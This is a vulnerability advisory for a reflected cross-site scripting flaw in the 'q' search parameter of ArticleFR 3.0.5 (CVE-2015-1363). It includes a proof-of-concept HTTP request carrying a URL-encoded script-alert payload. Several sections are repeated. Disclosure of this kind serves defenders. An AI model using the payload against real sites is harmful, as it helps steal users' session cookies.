ArticleFR 'q' Parameter Cross Site Scripting Vulnerability
BID:72462
Info
ArticleFR 'q' Parameter Cross Site Scripting Vulnerability
| Bugtraq ID: | 72462 |
| Class: | Input Validation Error |
| CVE: |
CVE-2015-1363 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 03 2015 12:00AM |
| Updated: | Feb 03 2015 12:00AM |
| Credit: | Tran Dinh Tien and ITAS Team |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
ArticleFR 'q' Parameter Cross Site Scripting Vulnerability
ArticleFR is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
ArticleFR 3.0.5 is vulnerable; other versions may also be affected.
ArticleFR is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
ArticleFR 3.0.5 is vulnerable; other versions may also be affected.
Exploit / POC
ArticleFR 'q' Parameter Cross Site Scripting Vulnerability
Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following example request is available:
GET /demo/search/v/?q=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
HTTP/1.1
Host: demo.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://www.demo.com/demo/search/v/?q=%3Cscript%3Ealert%289999%29%3C%2Fscript
%3E
Cookie: lhc_per={%22vid%22:%226dq7k8utakegpenguv2s%22};
_ga=GA1.2.1982695316.1420692931; __unam=ba3cbfe-14ac7e5c29b-63911eb3-7;
PHPSESSID=207352ef26262a6aab50e55f77cda2f3; _gat=1
Connection: keep-alive
Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following example request is available:
GET /demo/search/v/?q=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
HTTP/1.1
Host: demo.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://www.demo.com/demo/search/v/?q=%3Cscript%3Ealert%289999%29%3C%2Fscript
%3E
Cookie: lhc_per={%22vid%22:%226dq7k8utakegpenguv2s%22};
_ga=GA1.2.1982695316.1420692931; __unam=ba3cbfe-14ac7e5c29b-63911eb3-7;
PHPSESSID=207352ef26262a6aab50e55f77cda2f3; _gat=1
Connection: keep-alive
Solution / Fix
ArticleFR 'q' Parameter Cross Site Scripting Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
ArticleFR 'q' Parameter Cross Site Scripting Vulnerability
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